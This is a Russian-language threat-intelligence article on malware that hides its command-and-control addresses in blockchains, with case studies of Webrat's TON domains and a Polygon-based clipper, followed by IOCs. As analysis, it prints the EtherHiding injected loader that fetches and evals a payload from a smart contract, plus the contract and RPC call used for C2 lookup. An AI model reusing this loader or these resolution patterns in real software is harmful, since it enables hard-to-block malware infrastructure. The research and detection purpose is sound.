Genesis Block 0x0
Вы читаете это. Значит, вы получили нашу транзакцию об использовании Blockchain в черных делах сетевых злоумышленников и вирусописателей.
Появление криптовалюты стало значительным событием в истории интернета. Криптовалюта, в отличие от обычных денег, дала пользователю возможность почти абсолютной анонимизации финансовых транзакций в сети, но такие же возможности она дала и киберпреступникам. Более того, в случае с Blockchain цифровые злоумышленники прибегли к одному из излюбленных способов организации деятельности — использованию технологий не по их прямому назначению.
Речь идет о Blockchain Dead Drop — механизме, используемом во вредоносном ПО, при котором вредонос находит свой управляющий сервер (C2) через обращения к сервисам блокчейна.
О механике известно сравнительно давно, но в последнее время мы стали чаще обнаруживать новые реализации техники, в частности через инфраструктуру сети TON. В этой статье мы сделаем обзор старых техник использования Blockchain и расскажем о новых случаях: на примере стилера Webrat, который использует TON DNS, и нового, пока безымянного клипера, замеченного в использовании смарт-контрактов Polygon.
Также мы рассмотрим и DNS на основе смартконтрактов, которое используются атакующими для сокрытия вредоносных действий. Статью начнем с обзора старого, но если вам интересны новые примеры, то смело переходите в раздел «Что нового».
История вопроса
Block 0x1 — Cerber Ransomware (2016)
Вымогатель Cerber — один из самых ранних образцов вредоносного ПО, использовавших блокчейн как способ определения С2. Cerber был впервые обнаружен в начале 2016 года. Помимо уникального для того времени способа получения C2, Cerber мог потребовать деньги у жертвы не текстом, а вслух.
Определение управляющего сервера производилось по транзакциям Bitcoin. Вредонос получал транзакции определенного кошелька. Его интересовали адреса кошельков, участвовавших в транзакциях с изначальным кошельком.
Первые 6 символов адреса кошелька получателя были именем домена в зоне .top, который в свою очередь был Tor2Web-шлюзом для коммуникации с реальным управляющим сервером через сеть Tor. Транзакции между изначальным кошельком и кошельками с доменом совершались в случайное время, а сумма тут же возвращалась назад.
Block 0x2 — Glupteba (2019)
Glupteba — троян, способный подгружать различные модули, использующий транзакции Bitcoin для получения С2. Если Cerber использовал адрес кошелька, то Glupteba получал информацию, сохраненную в транзакции, с помощью инструкции OP_RETURN. Так Bitcoin позволяет сохранить до 80 байт информации в транзакции.
Троян исполнял команду discoverDomain через electrum-сервера и запрашивал историю блокчейна для скрипта с заранее заданным хешем. Это позволяло получить связанные транзакции, которые обрабатывались в поисках OP_RETURN. С2 обычно был зашифрован с помощью захардкоженного AES, а позже XOR-ключа.
Block 0x3 — Namecoin (2019)
Одной из первых блокчейн-технологий, позволявших владеть независимым доменом, был Namecoin. А одной из первых группировок, использовавшей его, была RTM. Namecoin был основан на технологии криптовалюты Bitcoin. Он позволял хранить произвольные пары ключа и значения. Другим новшеством была возможность управления доменными именами без какого-либо контроля со стороны провайдеров. Его домены находились в зоне .bit и были доступны через шлюзы или с использованием специальных плагинов. Для регистрации домена необходимо было зарегистрировать ключ, начинающийся на d/. Данные домена задавать значение в формате JSON:
{"myip": ["1.1.1.1"]}
Namecoin предоставлял незамысловатый интерфейс управления доменами. В распоряжении админа домена было три команды:
- NAME_NEW — анонс имени;
- NAME_FIRSTUPDATE — публикация имени и установка его значения;
- NAME_UPDATE — продление домена и любое изменение записи.
Использование децентрализованного DNS позволило операторам ботнетов обходить ограничения и блокировки провайдеров. Домены, зарегистрированные таким способом, показали поразительную выживаемость, несмотря на многочисленные отчеты исследователей.
Block 0x4 — EtherHiding (2023)
EtherHiding — оригинальный способ хранения кода в блокчейне с использованием смартконтрактов. Впервые использован CLEARFAKE, а также адаптирован DPRK. CLEARFAKE распространялся через взломанные сайты WordPress и использовал контракты Binance Smart Chain.
Атакующие внедряли вредоносный загрузчик на JavaScript в страницы скомпрометированных сайтов, который подгружал и исполнял нагрузку следующей стадии, которую он получал с С2. Это делает возможным изменять содержание страницы или отображать фишинговые страницы. Нововведением стало внедрение смартконтрактов в цепочку вредоноса, теперь нагрузка второй стадии загружалась с использованием Binance Smart Chain.
async function load() {
let provider = new ethers.providers.JsonRpcProvider("https://bsc-dataseed1.binance.org/"),
signer = provider.getSigner(),
address = "0x7f36D9292e7c70A204faCC2d255475A861487c60",
ABI = [
{ inputs: [{ internalType: "string", .......},
{ inputs: [], name: "get", ......},
{ inputs: [], name: "link", ....... },
],
contract = new ethers.Contract(address, ABI, provider),
link = await contract.get();
eval(atob(link));
}
window.onload = load;
Данный код обращается к смартконтракту, получает и исполняет полезную нагрузку второго этапа. Это позволяет злоумышленникам обновлять хранимую нагрузку без изменения самого вредоносного кода и делает такое хранилище устойчивым к традиционным методам удаления вредоносного контента.
Block 0x5 — TonResolver (2026)
TonResolver представляет собой обфусцированный вредонос на JavaScript. Он использует сеть TON для получения своего управляющего сервера. В отличие от старых сетей вроде Blockchain, TON позволяет разрабатывать и разворачивать в сети свои контракты. TonResolver использует свой кастомный контракт, хранящий C2.
wallet_id: 2147483409
valid_until: 1771601041
seqno: 2
actions:
- magic: "0xec3c86d"
mode: 3
msg:
sum_type: MessageInternal
message_internal:
ihr_disabled: true
bounce: true
bounced: false
src: ""
dest: 0:c66119f0e5635c4380441d7a79baf0c02a0ab7ea6cd78de06507fc5dc2c1a5d9 B
value:
grams: "10000000"
other: {}
ihr_fee: "0"
fwd_fee: "0"
created_lt: 0
created_at: 0
init: null
body:
is_right: false
value:
sum_type: Unknown
op_code: 398346703
value: b5ee9c7201010201002000011017be49cf000000130100267a6c6f61706f62696b61687932332e626f6e64
Злоумышленники могут вызывать смарткотракт и устанавливать новый домен. Сами контейнеры хранящие сервер устроены следующим образом.
| Структура | Роль данных и интерпретация |
|---|---|
| b5ee9c72 | Магическое число блокчейна TON |
| 010102010020 | Заголовок BOC |
| 000110 | Информация, связанная с размером/структурой данных первой ячейки |
| 17be49cf | op_code — код операции смарт-контракта |
| 00000013 | Поле размера последующих данных |
| 01 | Ссылка на следующую ячейку |
| 0026 | Информация о размере данных следующей ячейки |
| 7a6c6f61706f62696b61687932332e626f6e64 | Hex-кодированная ASCII-строка zloapobikahy23[.]bond |
Контракты могут играть роль умного C2 для вредоносного ПО. В данном случае TONResolver получал свой домен, используя метод get_domain. Метод возвращал значение домена в раскодированном виде.
Block 0x6 — TrickMo (2026)
TrickMo — это недавно обнаруженный банковский троян, использующий TON overlay для соединения со своим управляющим сервером.
Децетрализованный интернет TON поддерживает обращения по ADNL адресу и доменам .ton.”
Обыкновенно резолв .ton домена в сети TON устроен как иерархическая система смарт-контрактов. Он состоит в исполнении dnsresolve нескольких смарт-контрактов начиная с главного, который является частью конфигурации, используемой клиентами TON. Всего в DNS TON может быть 4 записи:
- site — содержащий ADNL-адрес;
- storage — запись в хранилище TON Storage;
- wallet — кошелек;
- dns_next_resolver — следующий контракт.
Для взаимодействия между участниками сети TON используется ADNL — P2P-протокол, работающий поверх UDP и TCP. IP и порт в сети TON используются для установления конечного P2P-соединения, тогда как на уровне ADNL взаимодействие может осуществляться по абстрактному адресу. ADNL-адрес связан с криптографическим ключом узла. В упрощенном виде он вычисляется как SHA-256(type_id || public_key).
Для определения реального адреса в сети TON используется распределенная хеш-таблица (DHT) — kademlia-подобная система, которая позволяет сопоставлять ADNL-идентификатор с сетевым адресом.
Из браузера сайты TON доступны при настройке TON proxy. А также каждый пользователь Telegram может открыть сайт через встроенный браузер. Это делает сеть TON более доступным для обычных пользователей и злоумышленников.
В случае TrickMo связь c С2 осуществлялась через встроенный TON proxy, который троян поднимал на loopback. Каждая команда отправлялась по adnl адресу на инфраструктуру злоумышленника.
Использование overlay-сети позволяют злоумышленникам скрыть коммуникации от мониторинга и увеличивает время до обнаружения компрометации. Трафик такого соединения может выглядеть как соединение с разными нодами связанными с сетью TON.
Что нового?
Недавно мы обнаружили два новых примера использования технологий Blockchain для сокрытия коммуникаций с серверами управления. Ниже опишем их и некоторые другие результаты нашего небольшого исследования.
Block 0x7 — Ton Domain (Webrat aka SalatStealer)
Стилер Webrat в новой версии получил обновление и обзавелся Blockchain Dead Drop. К обычным управляющим серверам добавились еще и домены TON и ссылки для их резолва.
{
"8991228": "https://salator[.]es/sa1at/",
"8991744": "https://wruser[.]org/sa1at/",
"8992260": "https://websalat[.]top/sa1at/",
"8992776": "https://sa1atik[.]cn/sa1at/",
"8993292": "https://wruser[.]org:992/sa1at/",
"8994324": "https://tonapi[.]io/v2/dns/remoteadministratortool.ton/resolve",
"8993808": "https://tonapi[.]io/v2/dns/webratpanel.ton/resolve",
"8995356": "webratxaye1[.]ton",
"8994840": "shyetootval[.]ton"
}
Всего было выявлено четыре домена, принадлежащих разным адресам.
| address | UQBLZSj-AcJDK7RmpEsCs4NT0ZQWLqtgThoMroSY_PukzG9X |
| raw | 0:4b6528fe01c2432bb466a44b02b38353d194162eab604e1a0cae8498fcfba4cc |
| domains | webratpanel[.]ton, shyetootval[.]ton |
| address | UQA0D-0F22rw_m99RagEp13CeiUM5ijJ8eLibVMPTUPd3Awn |
| raw | 0:340fed05db6af0fe6f7d45a804a75dc27a250ce628c9f1e2e26d530f4d43dddc |
| domains | remoteadministratortool[.]ton |
| address | UQAQiwpf6ROYs2FoNcXzC0zLPEr5AXan7JguMvlPX1R2qpeW |
| raw | 0:108b0a5fe91398b3616835c5f30b4ccb3c4af90176a7ec982e32f94f5f5476aa |
| domains | webratxaye1[.]ton |
С помощью TONAPI мы можем запросить более подробную информацию о каждом домене. Из этой записи мы можем узнать владельца и адрес контракта домена. Обычный контракт домена имеет следующие методы:
Домен в сети TON может быть использован множеством способов. Суть похожа на Namecoin, однако смарт-контракты и архитектура TON добавляют новые возможности, о которых рассказывали выше(Cм. Block 0x6).
Конкретно Webrat используют домен как хранилище адреса кошелька. При этом сам адрес кошелька не принадлежит злоумышленникам, он лишь кодирует в hex нужный IP 168[.]222[.]202[.]171.
Это позволяет избежать заметных DNS-запросов и получить IP управляющего сервиса через легитимный сервис TON API. Что усложняет блокировку и обнаружение вредоносной активности Webrat.
Анализ криптовалютных транзакций
В процессе изучения новой инфраструктуры Webrat нам удалось провести небольшой анализ финансовых транзакций, связанных с этим вредоносом. Мы выявили адреса, на которые группировка NyashTeam (разрабатывает и продает Webrat) получает плату за аренду их вредоносного ПО.
Ниже мы составили небольшую карту транзакций. Розовые адреса получают много переводов от различных адресов на суммы примерно эквивалентные 1500 рублей. Суммы примерно равны между собой, поскольку, именно такова цена лицензии на ВПО. Мы смогли установить, что часть ранее известных пользователей Webrat как раз переводила на эти кошельки оплаты.
Из розовых адресов происходят транзакции пополнения черных адресов, которые уже являются владельцами доменов. Для оплаты, как мы выявили, использовалось несколько кошельков.
До мая для оплаты использовался для оплаты использовался UQDEQfGNb5_-i6Pk8ymvhQH7MR-rXw77fpbZJfeRqJ4EUU-9. A 17 мая всё было выведено на UQAOTRpaD2d_cyq3CwYZajkCQgyTC99QabfdHutCg3ExGWh9.
Кошелёк UQBUswP14HYFjd5awh_c0vCZaxUnkfp9pRnJowUSwMyouPNY использовался в июне,а потом с него всё было выведено на UQCNbPD3069dnI_oLo_simYDRV5ZAOVddQKj5TG9y_o_PziK, где средства находятся до сих пор. Сейчас баланс составляет 5000 USDT.
Легенда:
- Розовые — адреса, на которые приходит оплата
- Черные — адреса с доменами
- Зеленые — сервисы
- Фиолетовые — известные пользователи Webrat
Block 0x8 — Aeternum
Во втором случае нам попался клипер (ВПО для перехвата и подмены данных буфера обмена), использующий смарт-контракты Polygon для получения управляющего сервера (подробную статью об этом клипере мы опубликуем позже). Злоумышленники используют обфусцированные контракты по похожему с доменами TON принципу. Эти контракты точно так же реализуют получение домена и его смену. Один из первых подобных контрактов использовался в клипере, который мы нашли и исследовали. Мы обнаружили более 600 контрактов, имеющих похожую функциональность.
После исследования контрактов мы можем предположить, что данный образец, видимо, входит в парк ВПО ботнета Aeternum. Связь состоит в использовании аналогичного контракта c методом getDomain() — 0xb68d1809.
Контракт написан на Solidity и скомпилирован в EVM-байт-код. Контракт имеет публичные методы, которые также можно вызывать через определенные значения.
Контракты размещаются без открытого исходного кода в виде байт-кода. Однако даже без глубокого исследования можно определить новый установленный C2, так как он устанавливается в plaintext.
Встроенные сервисы Polygon не всегда могут декомпилировать контракт, однако его код можно посмотреть в альтернативных браузерах контрактов. Принцип его работы аналогичен рассмотренным ранее. Он сохраняет новый домен в Storage вместо старого и создает событие смены домена. При этом проверяются администраторские привилегии.
address private _admin;
string private _currentDomain;
function updateDomain(string calldata newDomain) public {
require(msg.sender == _admin, ":'(");
string memory oldDomain = _currentDomain;
_currentDomain = newDomain;
emit DomainUpdated(oldDomain, newDomain);
}
function getDomain() public view returns (string memory) {
return _currentDomain;
}
function currentDomain() public view returns (string memory) {
return _currentDomain;
}
Для получения домена вредонос отправляет запрос на эмуляцию контракта, которая не требует уплаты gas (комиссии за исполнение контракта).
{
"jsonrpc": "2.0",
"method": "eth_call",
"params": [
{
"to": "0xB860F3E36C0372B20D58824B4E22546029DF5AC1",
"data": "0xb68d1809"
},
"latest"
],
"id": 1
}
Также мы обнаружили альтернативное использование этих контрактов. Некоторые версии вредоноса используют зашифрованные контейнеры Salted__ | 8-byte salt | ciphertext как домен. Скорее всего, на стороне вредоноса в данном случае реализуется функция расшифровки таких строк.
Заключение
Смарт-контракты и блокчейн, судя по всему, считаются среди злоумышленников перспективным направлением. Контракты способны исполнять некоторый код и быть «умным» хранилищем C2. Также можно отметить, что новые децентрализованные сети позволяют злоумышленникам не беспокоиться о захвате или блокировке инфраструктуры. Иногда какое-либо воздействие на С2 без блокировки легитимных ресурсов невозможно в принципе, как, например, в случае с сетью TON.
Все это создает новые вызовы для Blue team. Сокрытие инфраструктуры в транзакциях и смарт-контрактах блокчейна усложняет определение C&C, а децентрализованные сети в некоторой степени сокращают возможности СЗИ эффективно бороться с атакующими. По этим причинам наличие в корпоративном трафике признаков, что кто-то или что-то слишком часто использует сервисы и API для работы с блокчейном, должно стало предупреждением и поводом расследовать обстоятельства этого использования.
IOC
Files
Webrat
caa67a94c8efc07901cae650f3356e0e
f191ec6defcce85bc02345895c6b5aee7fe82871
9d648752f1097d61e43849b36345ed47fc3c262e52a8e32d66529db88adcddcf
f5435a2c6f0bbde57e74853f129e519a
31370b4b3e5dedb03a331404405bdafd38ef61a0
c2b76fe053d537d9a5254d11497b187de3348511f14c5d8cde4fb0400b35f446
b72ba6d24aec5e8823a00e1d11965930
6570867f14658a21c5d1a24b0c60ea09e944c7e0
e0017f790da8a38990e0b38ea23ef0a507cd890cf403620f72c9f6415501d3da
548312c51c75ef5e736f18b2281753da
fbd9432cc922bd4209143e9454aefd1abac28db1
d5074765f3f0188d7c09593ba627f3cdd984c58b2a2b329ae67215d886e9a751
Cliper
3b87d155d89f7fe56279e243a93019dd
a815420108ebab59e18b9d7dadb7b7f592648e39
585bbb68e8f031df6aecef75608b2965ac8e35e2e6f1ef7f701476659057d54c
Domains
salator[.]es
wruser[.]org
websalat[.]top
sa1atik[.]cn
wruser[.]org
saas-stash[.]beer
obx-stash[.]beer
dark-strong[.]beer
clip-stash[.]beer
Ton Domains
webratxaye1[.]ton
shyetootval[.]ton
webratpanel[.]ton
remoteadministratortool[.]ton
IPs
168.222.202[.]171



























































